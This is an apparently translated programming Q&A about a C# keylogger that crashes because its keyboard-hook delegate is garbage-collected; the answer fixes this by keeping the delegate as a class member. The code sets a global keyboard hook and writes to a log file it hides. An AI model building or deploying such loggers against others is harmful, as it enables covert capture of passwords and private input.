c# - 键盘记录程序崩溃

Question

我一直在用 C# 和 Windows 窗体开发一个键盘记录器，但我在某些时候遇到了困难。当我运行我的代码时，它工作正常并记录了 20-25 次击键，但在那之后程序突然崩溃，这些是显示的错误消息:(第一个完全难倒我)

1. 对类型为“karan_keylogger!karan_keylogger.Form1+LowLevelKeyboardProc::Invoke”的垃圾收集委托(delegate)进行了回调。这可能会导致应用程序崩溃、损坏和数据丢失。将委托(delegate)传递给非托管代码时，它们必须由托管应用程序保持事件状态，直到保证它们永远不会被调用。

2.然后显示'Object Reference not set to an instance of the object.(我熟悉这个)

代码如下:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Timers;
using System.Diagnostics;


namespace karan_keylogger
{
    public partial class Form1 : Form
    {
        KeysConverter kc;
        private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
        //private static LowLevelKeyboardProc keyhook = detect;
        StreamWriter sw;
        private const int WM_KEYDOWN = 0x0100;
        bool shiftDown, inBetween, numLockPressed;
        string currWindow, prevWindow,path;
        IntPtr x;
        [DllImport("User32.dll")]
        public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
        [DllImport("User32.dll")]
        public static extern int GetForegroundWindow();
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        public Form1()
        {
            InitializeComponent();
            kc = new KeysConverter();
            path="E:\\data.txt";
            shiftDown = false;
            //shiftUp = true;
            inBetween = false;
            numLockPressed = false;
            currWindow = getTitle();
            prevWindow = currWindow;
            File.SetAttributes(path,FileAttributes.Normal);
            sw = new StreamWriter(path, true);
            sw.AutoFlush = true;
            sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"-   ");
            File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
            LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
            Process curProcess = Process.GetCurrentProcess();
            ProcessModule curModule = curProcess.MainModule;
            //private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
            x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
       }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            UnhookWindowsHookEx(x);
        }
        private string getTitle()
        {
            int handle = GetForegroundWindow();
            StringBuilder sb = new StringBuilder(1000);
            GetWindowText(handle, sb, 1000);
            string winText = sb.ToString();
            return winText;
        }

        private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
        {
            // logic for keystroke storing
            return CallNextHookEx(x, ncode, wparam, lparam);
        }
    }
}

任何帮助将不胜感激，这是一个宠物项目!..

Answer 1

如错误消息所述，非托管代码不会使托管资源保持事件状态。您正在创建一个局部变量 keyhook 并将其传递给 SetWindowHookEx(即传递给非托管代码)。

然后退出构造函数，keyhook 变量超出范围，从代码的角度来看，它不再在任何地方被引用，这意味着它已准备好进行垃圾回收。但非托管代码将继续使用它。当垃圾收集器启动时，委托(delegate)丢失，您将收到错误消息。

只需将您的委托(delegate)声明为类成员，而不是局部变量。

private LowLevelKeyboardProc keyhook;